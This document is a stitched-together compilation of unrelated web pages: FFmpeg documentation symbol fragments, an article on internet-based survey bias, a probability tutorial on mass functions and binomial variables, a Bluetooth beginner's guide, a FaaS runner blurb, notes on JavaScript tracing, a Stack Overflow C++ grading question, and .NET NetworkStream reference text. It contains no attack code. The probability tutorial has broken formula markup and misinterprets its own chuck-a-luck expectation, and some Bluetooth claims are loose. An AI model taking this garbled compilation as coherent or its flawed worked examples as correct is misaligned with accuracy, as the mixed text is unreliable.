AV_OPT_TYPE_BOOL
@ AV_OPT_TYPE_BOOL
Definition: opt.h:241
av_freep
#define av_freep(p)
Definition: tableprint_vlc.h:35
av_fast_malloc
void av_fast_malloc(void *ptr, unsigned int *size, size_t min_size)
Allocate a buffer, reusing the given one if large enough.
Definition: mem.c:560
av_dict_copy
int av_dict_copy(AVDictionary **dst, const AVDictionary *src, int flags)
Copy entries from one AVDictionary struct into another.
Definition: dict.c:217
AV_PIX_FMT_YUV411P
@ AV_PIX_FMT_YUV411P
planar YUV 4:1:1, 12bpp, (1 Cr & Cb sample per 4x1 Y samples)
Definition: pixfmt.h:73
HWACCEL_VAAPI
#define HWACCEL_VAAPI(codec)
Definition: hwconfig.h:73
FFMAX3
#define FFMAX3(a, b, c)
Definition: macros.h:48
int32_t
int32_t
Definition: audioconvert.c:56
bytestream.h
imgutils.h
bytestream2_init
static av_always_inline void bytestream2_init(GetByteContext *g, const uint8_t *buf, int buf_size)
Definition: bytestream.h:137
flags
#define flags(name, subs,...)
Definition: cbs_av1.c:561
AVERROR_BUG
#define AVERROR_BUG
Internal bug, also see AVERROR_BUG2.
Definition: error.h:52
MAX_COMPONENTS
#define MAX_COMPONENTS
Definition: mjpegdec.h:45
rgb
static const SheerTable rgb[2]
Definition: sheervideodata.h:32
block
The exact code depends on how similar the blocks are and how related they are to the block
Definition: filter_design.txt:207
av_log
#define av_log(a,...)
Definition: tableprint_vlc.h:28
AVERROR_INVALIDDATA
#define AVERROR_INVALIDDATA
Invalid data found when processing input.
Definition: error.h:61
MKTAG
#define MKTAG(a, b, c, d)
Definition: macros.h:55
h
h
Definition: vp9dsp_template.c:2038
SOF7
@ SOF7
Definition: mjpeg.h:46
AVStereo3D
Stereo 3D type: this structure describes how two videos are packed within a single video surface,...
Definition: stereo3d.h:176
AVDictionaryEntry::value
char * value
Definition: dict.h:81
av_image_check_size
int av_image_check_size(unsigned int w, unsigned int h, int log_offset, void *log_ctx)
Check if the given dimension of an image is valid, meaning that all bytes of the image can be address...
Definition: imgutils.c:318
ff_blockdsp_init
av_cold void ff_blockdsp_init(BlockDSPContext *c, AVCodecContext *avctx)
Definition: blockdsp.c:59
AV_RB24
uint64_t_TMPL AV_WL64 unsigned int_TMPL AV_WL32 unsigned int_TMPL AV_WL24 unsigned int_TMPL AV_WL16 uint64_t_TMPL AV_WB64 unsigned int_TMPL AV_WB32 unsigned int_TMPL AV_RB24
Definition: bytestream.h:97
PREDICT
#define PREDICT(ret, topleft, top, left, predictor)
Definition: mjpeg.h:118
put_bits.h
SOF6
@ SOF6
Definition: mjpeg.h:45
JPG
@ JPG
Definition: mjpeg.h:47
av_fourcc2str
#define av_fourcc2str(fourcc)
Definition: avutil.h:348
re
float re
Definition: fft.c:78
|
__label__pos
| 0.950082 |
Using the Internet as a Survey Tool
The internet is a two-way interactive medium. As such, it has the potential of being used as a survey instrument. This is particularly significant at a time when other survey modes (such as face-to-face personal interviews, mail and telephone) are confronting declining cooperation rates in these changing times (e.g. security concerns, inundation of unsolicited mail, aggressive telemarketing, unlisted telephone calls, answering machines, caller ID, opt-out listings, etc).
The internet is obviously the logical survey tool for the universe of all internet users. But what is the validity of extrapolating the results of internet surveys to the non-internet universe? That depends on the characteristics and behavior of the internet users. Now, a great deal is known about the characteristics of internet users vis-à-vis the general population. There are many data sources that document the internet population, and we will cite some survey results from the 2002 MARS study. This is a mail survey of adults 18+ in the 50 states of the USA conducted during the first quarter of 2002. Within that study, 59.5% of the respondents indicated that they had used the Internet in the last 30 days.
In the next two charts, we show the incidence of internet users separately by age/sex groups, educational level, occupation and personal income (among those who are employed).
(source: 2002 MARS study)
(source: 2002 MARS study)
These charts support the common belief that the internet population is younger, better educated, hold better jobs and are better paid. Therefore, any simple sample of the internet population will not be directly representative of the general population. That much is not in dispute. But we are not writing this article to argue this point. Rather, we wish to discuss the issue of whether it is possible to conduct an internet survey, weight that sample to the general population's universe estimates and then claim to have accurate and unbiased estimates for that general population. Absent any other proof, we find this to be an unsubstantiated claim. Here is the simplest test that we can construct --- if we commission someone to conduct an internet survey of the incidence of internet usage, they can weight that sample any which way they want and the result would still be ... 100%, and quite wrong at that!
We now offer an empirical test of the representativeness of an internet survey. Within the MARS 2002 survey, there is a simple random sample of 7,293 adults in the USA. To compensate for the incompleteness of the coverage of the sampling frame and the differential response rates by population subgroups, that sample was weighted to US census figures on demographic characteristics such as age, sex, education, occupation, personal income, household income, geography, household size, race, ethnicity, etc. This is classical post-stratification weighting used by most survey organizations. Then, audiences estimates were obtained for 96 consumer magazine titles.
Next, we took the subset of 4,632 adults in the MARS sample who had used the internet in the last 30 days and we weighted them to the same US census figures in exactly the same way. Thus, this sample will match the full sample on the same demographic characteristics such as age, sex, education, occupation, personal income, household income, geographical, household size, race, ethnicity, etc. Then, audience estimates were obtained for the same 96 consumer magazine titles. Here, we are assuming that conducting the same survey using a different survey mode on the same set of persons will yield identical responses. This is known NOT to be true, but we will gloss over issues of survey mode differences in this discussion.
In the next chart, we present the two sets of magazine audiences in the form of scatterplot. It would appear that the two series are highly correlated. Indeed, the correlation coefficient is a very high 0.993 (where 1.000 represents perfection). In this scatterplot, we have also plotted the best fitting straight line. If we look at that line carefully, we would realize that it lies above the 45 degree diagonal line (which represents perfection). The fact that the line lies above the 45 degree line means that the Internet-based audience estimates tend to be higher.
(source: 2002 MARS study)
We can look at the numbers in another way. For each magazine title, we define a magazine audience index as 100 times the internet-based estimates divided by the general population estimate. An index of 100 would represent perfection. An index greater than 100 implies a larger internet estimates and vice versa. In the next chart, we show a histogram of the distrubtion of the 96 magazine audience indices. The average index is 110, which means that the internet-based magazine audience estimates are 10% high on the average. This overestimate is not consistent across the magazine titles, as some are significantly higher and some are significantly lower. The differences are sufficiently large that they would be unacceptable for the purpose of media planning (that is, some magazine would be advantaged by 40% while another would be disadvantaged by 25%).
(source: 2002 MARS study)
This is not say that we have proclaimed the internet to be totally useless for magazine audience estimation. It is certainly useful, and in fact quite natural, for measuring magazine readership among internet users. In the case for professional technology magazines, for example. And as more people get on the internet, it will be a better approximant of the general population. It is also possible that certain types of data adjustments to the internet-based survey estimates may yield accurate estimates for the general population. But these data adjustments will require some knowledge about the relationship between non-internet usage and the survey outcome variables and such relationships cannot be revealed solely on the basis of an internet-based survey.
We should point out that, in this article, we have not even remotely hinted at the difficulty of obtaining a sample that is representative of the internet. There is no universal frame for internet users. As a result, an internet survey sample is often assembled from pop-up intercepts at selected cooperating websites or permission-based emails, which incur an unknown degree of bias.
(posted by Roland Soong on 04/07/2003)
(Return to Zona Latina's Home Page)
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__label__pos
| 0.506178 |
Probability Mass function | Its Complete Overview with 5 Examples
Discrete Random Variable and Mathematical Expectation-II
As already we now familiar with the discrete random variable, it is the random variable which takes countable number of possible values in a sequence. The two important concept related to the discrete random variables are the probability of discrete random variable and distribution function we restrict the name to such probability and distribution function as,
Probability Mass function (p.m.f)
The Probability Mass function is the probability of the discrete random variable, so for any discrete random variables x1, x2, x3, x4,……, xk the corresponding probabilities P(x1), P(x2), P(x3), P(x4)……, P(xk) are the corresponding probability mass functions.
Specifically, for X=a, P(a)=P(X=a) is its p.m.f
We here onwards use probability mass function for discrete random variables probability. All the probability characteristics for the probability will obviously applicable to probability mass function like positivity and summation of all p.m.f will be one e.t.c.
Cumulative Distribution Function (c.d.f)/Distribution Function
The distribution function defined as
F(x)=P(X<=x)
for discrete random variable with probability mass function is the cumulative distribution function (c.d.f.) of the random variable.
and mathematical expectation for such random variable we defined was
E(g(x))= \sum\limits_{i}x_{i}p_{i}
we now see some of the results of mathematical expectations
1. If x1, x2, x3, x4,….. are the discrete random variables with respective probabilities P(x1), P(x2), P(x3), P(x4) … the expectation for the real valued function g will be
E(g(x))= \sum\limits_{i}g(x_{i})p(x_{i})
Example: for the following probability mass functions find the E(X3)
probability mass function
Here the g(X)=X3
So,
E(g(x))= \sum\limits_{i}g(x_{i})p(x_{i})
E(X^{3}) = \sum\limits_{i}x_{i}^{3}p(x_{i})
E(X^{3}) = (-1)^{3}<em>0.2+(0)^{3}</em>0.5+(1)^{^{3}}*0.3
E(X^{3}) = 0.1
In the similar way for any nth order we can write
E[X^{n}] = \sum\limits_{x:p(x)>0}x^{n}p(x)
Which is known as nth moment.
2. If a and b are constants then
E[aX + b]=aE[X] + b
This we can understand easily as
E[aX + b] = \sum\limits_{x:p(x)>0}(ax + b)p(x)
= a \sum\limits_{x:p(x)>0} xp(x) +b \sum\limits_{x:p(x)>0}p(x)
=aE[X] + b
Variance in terms of Expectation.
For the mean denoted by μ the variance of the discrete random variable X denoted by var(X) or σ in terms of expectation will be
Var(X) =E[(X- μ)2]
and this we can further simplify as
Var(X) =E[(X- μ)2]
= \sum\limits_{x} (x-\mu)^{2} p(x)
= \sum\limits_{x} (x^{2}-2x\mu+\mu^{2}) p(x)
= \sum\limits_{x} (x^{2}p(x) -2\mu \sum\limits_{x}xp(x) +\mu^{2} \sum\limits_{x} p(x)
= E[X^{2}] -2 \mu^{2} + \mu^{2}
= E[X^{2}] - \mu^{2}
this means we can write the variance as the difference of the expectation of random variable square and square of expectation of random variable.
i.e. Var (X)= E[X2] – (E[X])2
Example: when a die is thrown calculate the variance.
Solution: here we know when die thrown the probabilities for each face will be
p(1)=p(2)=p(3)=p(4)=p(5)=p(6)=1/6
hence for calculating variance we will find expectation of random variable and its square as
E[X]=1.(1/6)+2.(1/6)+3.(1/6)+4.(1/6)+5.(1/6)+6.(1/6)=(7/2)
E[X2] =12.(1/6)+22.(1/6)+32.(1/6)+42.(1/6)+52.(1/6)+62.(1/6) =(1/6)(91)
and we just obtained the variance as
Var (X) =E[X2] – (E[X])2
so
Var (X)=(91/6) -(7/2)2 =35/12
One of the important identity for variance is
1. For the arbitrary constants a and b we have
Var(aX + b) =a2 Var(X)
This we can show easily as
Var(aX + b) =E[(aX+ b -aμ-b)2 ]
=E[a2(X – μ)2]
=a2 E[(X-μ)2]
=a2 Var(X)
Bernoulli Random variable
A Swiss mathematician James Bernoulli define the Bernoulli random variable as a random variable having either success or failure as only two outcomes for the random experiment.
i.e When the outcome is success X=1
When the outcome is failure X=0
So the probability mass function for the Bernoulli random variable is
p(0) = P{X=0}=1-p
p(1) =P{X=1}=p
where p is the probability of success and 1-p will be the probability of failure.
Here we can take 1-p=q also where q is the probability of failure.
As this type of random variable is obviously discrete so this is one of discrete random variable.
Example: Tossing a coin.
Binomial Random Variable
If for a random experiment which is having only outcome as success or failure we take n trials so each time we will get either success or failure then the random variable X representing outcome for such n trial random experiment is known as Binomial random variable.
In other words if p is the probability mass function for the success in the single Bernoulli trial and q=1-p is the probability for the failure then the probability for happening of event ‘x or i’ times in n trials will be
f(x)=P(X=x)=\binom{n}{x}p^{x}q^{n-x}=\frac{n!}{x!(n-x!)}p^{x}q^{n-x}
or
p(i)=\binom{n}{i}p^{i}(1-p)^{n-i} where i =0,1,2,….n
Example: If we toss two coins six times and getting head is success and remaining occurrences are failures then its probability will be
f(x)=P(X=x)=\binom{n}{x}p^{x}q^{n-x}=\frac{n!}{x!(n-x!)}p^{x}q^{n-x}
P(X=2)=\binom{6}{2}(\frac{1}{2})^{2}(\frac{1}{2})^{6-2}=\frac{6!}{2!4!}(\frac{1}{2})^{2}(\frac{1}{2})^{4}=\frac{15}{64}
in the similar way we can calculate for any such experiment.
The Binomial random variable is having the name Binomial because it represent the expansion of
latex^{n}=q^{n}+\binom{n}{1}q^{n-1}p+\binom{n}{2}q^{n-2}p^{2}+…….+p^{n}=\sum\limits_{i = 1}^n\binom{n}{x}p^{x}q^{n-x}[/latex]
If we put in place of n=1 then this would turn into the Bernoulli’s random variable.
Example: If five coins were tossed and the outcome is taken independently then what would be the probability for number of heads occurred.
Here if we take random variable X as the number of heads then it would turns to the binomial random variable with n=5 and probability of success as ½
So by following the probability mass function for the binomial random variable we will get
P{X=0}=\binom{5}{0}(\frac{1}{2})^{0}(\frac{1}{2})^{5}=\frac{1}{32}
P{X=1}=\binom{5}{1}(\frac{1}{2})^{1}(\frac{1}{2})^{4}=\frac{5}{32}
P{X=2}=\binom{5}{2}(\frac{1}{2})^{2}(\frac{1}{2})^{3}=\frac{10}{32}
P{X=3}=\binom{5}{3}(\frac{1}{2})^{3}(\frac{1}{2})^{2}=\frac{10}{32}
P{X=4}=\binom{5}{4}(\frac{1}{2})^{4}(\frac{1}{2})^{1}=\frac{5}{32}
Example:
In a certain company the probability of defective is 0.01 from the production. The company manufacture and sells the product in a pack of 10 and to its customers offer money back guarantee that at most 1 of the 10 product is defective, so what proportion of sold products pack the company must replace.
Here If X is the random variable representing the defective products then it is of the binomial type with n=10 and p=0.01 then the probability that the pack will return is
P({X\geq 1})=1-P(X=0)-P(X=1)=1-\binom{10}{0}(0.01)^{0}(0.99)^{10}-\binom{10}{1}(0.01)^{1}(0.99)^{9}
\approx 0.004
Example: (chuck-a-luck/ wheel of fortune) In a specific game of fortune in hotel a player bet on any of the numbers from 1 to 6, three dice then rolled and if the number appears bet by the player once, twice or thrice the player that much units means if appear once then 1 unit if on two dice then 2 units and if on three dice then 3 units, check with the help of probability the game is fair for the player or not.
If we assume there will be no unfair means with the dice and con techniques then by assuming the outcome of the dice independently the probability of success for each dice is 1/6 and failure will be
1-1/6 so this turns to be the example of binomial random variable with n=3
so first we will calculate the winning probabilities by assigning x as players win
P(X=0)=\binom{3}{0}(\frac{1}{6})^{0}(\frac{5}{6})^{3}=\frac{125}{216}
P(X=1)=\binom{3}{1}(\frac{1}{6})^{1}(\frac{5}{6})^{2}=\frac{75}{216}
P(X=2)=\binom{3}{2}(\frac{1}{6})^{2}(\frac{5}{6})^{1}=\frac{15}{216}
P(X=3)=\binom{3}{3}(\frac{1}{6})^{3}(\frac{5}{6})^{0}=\frac{1}{216}
Now to calculate the game is fair for the player or not we will calculate the expectation of the random variable
E[X]=\frac{-125+75+30+3}{216}
=-\frac{17}{216}
This means the probability of losing the game for the player when he plays 216 times is 17.
Conclusion:
In this article we discussed some of the basic properties of a discrete random variable, probability mass function and variance. In addition we has seen some types of a discrete random variable, Before we start the continuous random variable we try to cover all the types and properties of discrete random variable, if you want further reading then go through:
Schaum’s Outlines of Probability and Statistics
https://en.wikipedia.org/wiki/Probability
For more Topics on Mathematics, please follow this link
About DR. MOHAMMED MAZHAR UL HAQUE
I am DR. Mohammed Mazhar Ul Haque , Assistant professor in Mathematics. Having 12 years of experience in teaching. Having vast knowledge in Pure Mathematics , precisely on Algebra. Having the immense ability of problem designing and solving. Capable of Motivating candidates to enhance their performance.
I love to contribute to Lambdageeks to make Mathematics Simple , Interesting & Self Explanatory for beginners as well as experts.
Let's connect through LinkedIn - https://www.linkedin.com/in/dr-mohammed-mazhar-ul-haque-58747899/
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What is Bluetooth: a Beginner’s Guide
• 5 min read
What is Bluetooth: a Beginner’s Guide - Auris, Inc
Chances are, you’re reading this article on a device that is Bluetooth compatible. These are usually your smartphones, tablets, and laptops that have the amazing functionality to stream data wirelessly through the air.
Bluetooth has even more applications than you might have realized, and it’s becoming more and more difficult to imagine a world without it. As we quickly transition from wired tech to a wireless society, it’s important to have some knowledge of what Bluetooth can offer for your own personal life.
So if you’re fairly new to Bluetooth and are ready to make the giant leap forward, we’re here to guide you through everything you need to know about this fantastic wireless protocol.
History of Bluetooth
The concept of Bluetooth was originally conceived back in 1994 by Dr. Jaap Haartsen and Ericcson. It was named after a prominent Viking who united Denmark and Norway. The Viking, named Harald, got the nickname “Bluetooth” because of a rotten tooth in his mouth that took a bluish hue. Bluetooth’s iconic logo is a combination of the Nordic letters “H” and “B” for Harald Bluetooth
The protocol was designed to replace telecommunication cables by using short-range radio waves. The first-ever consumer Bluetooth device was released in 1999 as a hands-free mobile headset. Alongside the headset came the first version of Bluetooth 1.0, allowing developers to create wireless chipsets, dongles, etc.
Bluetooth has continually been updated since then, with its latest 5.0 version introducing new features that would have been farfetched just over 20 years ago. With technology that is always evolving, it is exciting to see how far it has come and how far it will go.
How Does Bluetooth Work?
Bluetooth works by broadcasting signals via radio waves at a 2.4GHz frequency. It uses a network organization known as “star topology.” When devices are set-up in this manner, it creates something called a piconet.
A piconet is composed of a master device (something like your phone or a laptop) and one or multiple “slave” devices (your headphones, speakers, etc.). They all share the same radio frequency and are able to communicate with one another with specific wavelengths that are dictated by the master device.
At this frequency, the devices share information with each other called “packets.” These might contain audio data, textual data, or even image data. These are what’s sent between your devices when you change the song from your phone or print something from your computer.
While this admittedly a simplified version of what’s actually happening between your Bluetooth peripherals, it can give you a sense of just exactly how complex the mechanisms are that allow you to enjoy wireless applications.
What Are the Benefits of Bluetooth?
The reason that Bluetooth has become so ingrained in our culture is because of one main facet: convenience. Wired technology is very linear, meaning that typically only two devices are able to communicate with each other through one wired system. With Bluetooth, you can control multiple devices at one time.
On top of that, wires limit our range of motion, tethering us down to a small range of mobility. The newest Bluetooth supports a range of up to 800 feet, so you could theoretically keep listening to your music from anywhere inside the house.
Not to mention, the world is quickly transitioning into a fully wireless landscape. In a market report by Bluetooth themselves, they revealed that annual Bluetooth device shipments have increased from 2.7 billion in 2014 to 4.4 billion in 2020. With that in mind, it’s a way of the future that it is important to embrace.
What Are the Limitations of Bluetooth?
As great as it is, it’s not without some flaws. One of the largest limitations of Bluetooth is the sound quality that it is able to produce. Bluetooth uses codecs that must compress audio files into small, manageable bits that can be transmitted through the air. Then, it must be decompressed into a larger file size that can be listened to from your favorite speakers.
This process is a type of lossy audio, meaning that the end result is never as pristine as the original recording. Compared to analog systems like stereos or record players, which maintain the authentic sound, it can sound a bit worse than we might hope.
Bluetooth also isn’t yet capable of transmitting visual elements, so video streaming isn’t yet available.
What Can Bluetooth Be Used For?
Bluetooth has a wide variety of uses that you can probably utilize in many different facets of your daily routine. Here are a few examples:
Speakers and Headphones
Arguably the most popular usage of Bluetooth is in wireless headphones and speaker systems. These allow you to instantly stream music from your phone’s library directly to the device without ever needing to use a wire.
They’re perfect for the gym or getting work done around the house, just because you won’t be held down by those annoying cables. They’re also great for making hands-free calls and texts, as most headphones come with a microphone that can interact with elements on your smartphone.
Smart Appliances
A new way of using Bluetooth that is on the rise is using wireless tech to communicate with smart appliances. These are products that can utilize wi-fi or Bluetooth networks to be controlled through apps on your phone.
Smart lights are a popular usage for this. These connect to your network, allowing you to use an app on your phone to control their color, dimness, and even set automated timers to switch on and off.
Turning Wired Devices Into Wireless
Since we know that wired systems have better quality sound than wireless Bluetooth devices but just aren’t nearly as convenient, wouldn’t it be great if we could combine those two benefits into one?
The great news is that you can with a Bluetooth receiver. This device can attach to any existing analog or digital stereo system, allowing you to connect a master device and have full control. It means that you’ll be able to play your favorite Spotify playlists without ever having to sacrifice the authentic sound that you know and love.
Similarly, you could turn your television into a wirelessly compatible device by getting a Bluetooth transmitter. The speakers on a TV aren’t the greatest for watching movies from the safety of your home. But with a transmitter, you can use Bluetooth technology to broadcast the TVs sound to a quality wireless speaker or even headphones. You could pair up to two devices at one time, so you could even create your own surround sound set-up right at home.
If Bluetooth weren’t so convenient, these types of gadgets would never have been invented in the first place. They’re really great to have on hand, especially if good audio quality is something you want to be able to maintain.
File Transfers
Transferring files between a phone and computer used to be a nauseating endeavor because of all of the cables needed to make it work. But Bluetooth has made it easier than ever before.
You could even use Bluetooth to share information between two phones. Apple has recently introduced a feature called “Airdropping,” which uses Bluetooth frequencies to easily send files to another iPhone within range at just the click of a button.
While these methods might not be as fast as a traditional wire method, there is really no doubting that it’s a whole lot simpler.
In Conclusion
If you don’t have much experience working with Bluetooth, it can be overwhelming to figure out where to start. However, once you learn a little bit about how it works, you’ll never go back to traditional wired devices.
Since its inception in the late 90s, Bluetooth has allowed for seamless music streaming, smart device control, file transfer, and wired compatibility like we’ve never seen before. As it continues to grow in popularity, so too does its vast catalog of uses and features.
Bluetooth shows no signs of slowing down anytime soon, and we are excited to see just exactly how it will be engineered to assist us in our busy lives.
Sources:
Bluetooth: Why Modern Tech is Named After Powerful King of Denmark and Norway | Ancient Origins
Radio Frequency Radiation and Cell Phones | FDA
2019 Bluetooth Market Update | Bluetooth® Technology Website
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Cloud function runner
A Function-as-a-Service (FaaS) runner is a platform that allows developers to deploy and run small, single-purpose functions in the cloud. FaaS runners typically provide a serverless architecture, which means that developers do not have to worry about infrastructure management or the scaling, as the platform automatically handles these tasks.
Case study
For example, imagine you have an e-commerce application that uses FaaS to process orders. When a customer places an order, multiple functions may need to be executed, such as validating the order, processing the payment, and updating the inventory.
Each function may be executed independently by the FaaS platform and may take varying amounts of time to complete. Those functions may also be executed for historical reason on different platforms like AWS Lambda, Google Cloud Functions, or Azure Functions.
To collect the results of all the functions in a timely manner, you need to ensure that each function is executed in the correct order and that you are not waiting for a slow function to complete before moving on to the next function.
Metatype's solution
To solve the use case of executing multiple functions and collecting their results, Metatype provides two key features.
1. Function composition/chaining: functions can be chained together to form a pipeline. The output of one function can be used as the input of the next function in the pipeline. This allows us to execute multiple functions in a specific order.
2. Embedded runner: you can easily write a function that glues together multiple functions and executes them in a specific order. This allows you to execute multiple functions in a specific order. Currently, both Python and Typescript are supported.
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I have 3? 5? files with lumps of java tracing code in. THIS IS THE INDEX / DIRECTORY to my trace files. (My "testjava.html" also has useful tracing functions in it, but only for DOM stuff.) There are three writing methods: 1) alert(); / pops up a window, done by Java 2) Edit DOM tree: reserve a place on the web page by pre-putting an HTML area for this, and java inserts a string: see file 'trace1', function trace1() [and mystudents.php] 3) Open new window and do writeln: see file 'trace3' [and DOMtrace] ==== TRACE0 General advice on tracing tactics; and: Catch java errors [flagerror() / onerror()], so you don't miss their existence. One-liner kind of stuff: java snippets to copy into body of java, to get tracing output. E.g. how to print out stuff. Lumps to be assimilated elsewhere. ==== TRACE1 My basic routine for inserting errmsgs into a prepared bit of a browser page. ==== TRACE2 Printing info about a given object, either java object or DOM object. Typically insert a suitable "onclick", and pass "this". It uses the trace1 method for output, though could easily do alert(). function prnodeJava(node) { alert(myprnode(node)); }; function prnodeJava2(node) { trace(myprnode(node)); }; // Prints short info on the node, or any Java object, given it. // and calls prnodeShort if DOM object function prnodeShort(node) { trace(myprnodeshort(node) + '\n'); } Brief info on one DOM node: a bit more than 'prnodeJava' e.g. name-value, id, name, form. function prnodeMed(node) { trace(myprnodemedium(node) + '\n'); } Ditto, but gives the brief info on each of: self, parent, children. function prnodeSubtree(node) { printDOMtree(node,null, ==== TRACE3 DOM tree printing; to a new window it creates. function prnodeSubtree(node) { printDOMtree(node,null,0); }; // Prints subtree in a new window. function prnodeFull(node) { printDOMtree(node, null, 1); } Prints ALL fields of one node-object in a new window. Good for when you want the name of a field in these objects. function supertrace(obj) { // Opens a window and does a 4 part inspection of the object: a) java type b) short summary of DOM props c) Subtree from object's parent downwards d) Full all-field print of objects' fields.
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Tell me more ×
Stack Overflow is a question and answer site for professional and enthusiast programmers. It's 100% free, no registration required.
#include <iostream>
using namespace std;
int main()
{
int score;
char grade;
cout << "Enter your score:" << endl;
cin >> score;
if (score >= 90)
grade = 'a';
if (score >= 80)
grade = 'b';
if (score >= 70)
grade = 'c';
if (score >= 60)
grade = 'd';
else
grade = 'f';
cout << grade << endl;
switch (grade) {
case 'a':
cout << "Good job" << endl;
break;
case 'c':
cout << "Fair job" << endl;
break;
case 'f':
cout << "Failure" << endl;
break;
default:
cout << "invalid" << endl;
}
cin.get();
return 0;
}
why is it giving me my default switch case when i enter 95 when i should be getting case a
share|improve this question
1
Why are you converting the number to a letter and then the letter to a longer worded description? Skip the switch and print both in your first if (after you fix it of course). Over-complication is our worst curse, fight against it! – Blindy Sep 28 '11 at 19:20
because case 'd': is missing did you notice which grade was being output? – AJG85 Sep 28 '11 at 19:21
1
did you checked the output of the grade before the switch start is it returns a – punit Sep 28 '11 at 19:23
@Blindy probably because this is a homework assignment illustrating differences between nested if-else-if and switch cases. – AJG85 Sep 28 '11 at 19:23
9 Answers
You're missing a bunch of elses, or doing the comparisons in the wrong order.
95 is greater than 90, but it's also greater than 80, 70 and 60. So you'll get a 'd'.
(And you're not handling 'd' in your switch.)
share|improve this answer
I believe you want
if (score >= 90)
grade = 'a';
else if (score >= 80)
grade = 'b';
else if (score >= 70)
grade = 'c';
else if (score >= 60)
grade = 'd';
else
grade = 'f';
What you have does not mutually exclude any but the last two cases, 60 and above and lower. Your code doesn't short circuit, it checks all of 1 through 5.
if (score >= 90) // 1.
grade = 'a';
if (score >= 80) // 2.
grade = 'b';
if (score >= 70) // 4.
grade = 'c';
if (score >= 60) // 5.
grade = 'd';
else
grade = 'f';
share|improve this answer
I think you want to use 'else if', it is falling down to the last if "score >= 60" which is true, and grade then equals "d", which produces the default case in your switch statement.
share|improve this answer
You have specified it such that your 95 satisfies all the cases: 95 is bigger than 90, but also bigger than 80 and than 70 etc...
In this case, the last one wins.
You can solve it by either using elses, or by wrapping it in a function and returning as soon as you know the grade you need:
char grade( int score ){
if( score >= 90 ) return 'a';
if( score >= 80 ) return 'b';
...
}
share|improve this answer
It's because of your if statements up top. you should be using else ifs instead of individual ifs. Whats happening is your if for 90 is following through, and then so are all the others. Your letter a is essentially being overwritten because 95 is >= to all of the other coniditons. Using an else if will break the rest of the checks when a true one is found.
if (score >= 90)
grade = 'a';
else if (score >= 80)
grade = 'b';
else if (score >= 70)
grade = 'c';
else if (score >= 60)
grade = 'd';
else
grade = 'f';
share|improve this answer
Because all score comparisons are not combined with if/else if conditions. They are independent if statements. Thus grade gets overwritten for 95.
share|improve this answer
The if branches are ordered wrong (or you need to provide else branches like so:)
See it live here: http://ideone.com/2uSZT
#include <iostream>
using namespace std;
int main()
{
int score;
char grade;
cout << "Enter your score:" << endl;
cin >> score;
if (score >= 90)
grade = 'a';
else if (score >= 80)
grade = 'b';
else if (score >= 70)
grade = 'c';
else if (score >= 60)
grade = 'd';
else
grade = 'f';
cout << grade << endl;
switch (grade)
{
case 'a':
cout << "Good job" << endl;
break;
case 'c':
cout << "Fair job" << endl;
break;
case 'f':
cout << "Failure" << endl;
break;
default:
cout << "invalid" << endl;
}
cin.get();
return 0;
}
share|improve this answer
@mat: you must have flashed on my initial too-quick response? I thought I ninja'd it quick enough :) – sehe Sep 28 '11 at 19:39
yep, saw your answer pop up while I was writing mine. Got confused a bit by it too :) – Mat Sep 28 '11 at 19:43
@Mat: see, I know that it is good for something that I make it a point to disregard these popups. The only time it bites me is when I'm finally ready to press 'Submit' and it turns out that the question got deleted – sehe Sep 28 '11 at 19:57
you need to improve your if conditions, you are checking score >= no. the input 95 execute all the if statements and the last executed statement was the d now in your switch statement case d is not present so it's executes the default one.
share|improve this answer
You've gotten some answers already, but I think I'll suggest a slightly different possibility gets rid of most of the control flow and substitutes a bit of math:
char grades[] = "00000012344";
char *messages[] = {
"Excellent Job",
"Good job",
"Average job",
"Mediocre Job",
"Failure"
};
if (score < 0 || score > 100)
std::cout << "Invalid score";
else {
int grade = grades[score/10];
std::cout << messages[grade];
}
So, we use score/10 to turn scores of 0-100 to 0-10. We then look up the appropriate grade for a score, with f=0, d=1, c=2, b=3 and a=4. We use that to select and print out the appropriate message. I've added messages (that may or may not be quite what you want) for the letters you skipped.
share|improve this answer
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Tuesday, July 19th, 2022 code html javascript utils • 158w
Every single time you have a input text field and submit-like button next to it, at some point, you would like to bind the same action of the submit button to the press of the enter key.
It's trivial, but also it's simply better to just copy-paste it. So here its is:
function onenter(ele, f) {
ele.addEventListener('keydown', function (e) {
if (e.keyCode === 13) { f(e); e.preventDefault(); }
})
}
And also while we are here, instead of using the-not-be-named lib, just use these:
function q(x) { return document.querySelector(x); }
function qa(x) { return [...document.querySelectorAll(x)]; }
function range(x) { return Array.from({length: x}, (v, i) => i); }
For more just go here.
done_
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NetworkStream Class
Provides the underlying stream of data for network access.
System.Object
System.MarshalByRefObject
System.IO.Stream
System.Net.Sockets.NetworkStream
Namespace: System.Net.Sockets
Assembly: System (in System.dll)
public class NetworkStream : Stream
The NetworkStream type exposes the following members.
NameDescription
Public methodNetworkStream(Socket)Creates a new instance of the NetworkStream class for the specified Socket.
Public methodNetworkStream(Socket, Boolean)Initializes a new instance of the NetworkStream class for the specified Socket with the specified Socket ownership.
Public methodNetworkStream(Socket, FileAccess)Creates a new instance of the NetworkStream class for the specified Socket with the specified access rights.
Public methodNetworkStream(Socket, FileAccess, Boolean)Creates a new instance of the NetworkStream class for the specified Socket with the specified access rights and the specified Socket ownership.
Top
NameDescription
Public propertyCanReadGets a value that indicates whether the NetworkStream supports reading. (Overrides Stream.CanRead.)
Public propertyCanSeekGets a value that indicates whether the stream supports seeking. This property is not currently supported.This property always returns false. (Overrides Stream.CanSeek.)
Public propertyCanTimeoutIndicates whether timeout properties are usable for NetworkStream. (Overrides Stream.CanTimeout.)
Public propertyCanWriteGets a value that indicates whether the NetworkStream supports writing. (Overrides Stream.CanWrite.)
Public propertyDataAvailableGets a value that indicates whether data is available on the NetworkStream to be read.
Public propertyLengthGets the length of the data available on the stream. This property is not currently supported and always throws a NotSupportedException. (Overrides Stream.Length.)
Public propertyPositionGets or sets the current position in the stream. This property is not currently supported and always throws a NotSupportedException. (Overrides Stream.Position.)
Protected propertyReadableGets or sets a value that indicates whether the NetworkStream can be read.
Public propertyReadTimeoutGets or sets the amount of time that a read operation blocks waiting for data. (Overrides Stream.ReadTimeout.)
Protected propertySocketGets the underlying Socket.
Protected propertyWriteableGets a value that indicates whether the NetworkStream is writable.
Public propertyWriteTimeoutGets or sets the amount of time that a write operation blocks waiting for data. (Overrides Stream.WriteTimeout.)
Top
NameDescription
Public methodBeginReadBegins an asynchronous read from the NetworkStream. (Overrides Stream.BeginRead(Byte[], Int32, Int32, AsyncCallback, Object).)
Public methodBeginWriteBegins an asynchronous write to a stream. (Overrides Stream.BeginWrite(Byte[], Int32, Int32, AsyncCallback, Object).)
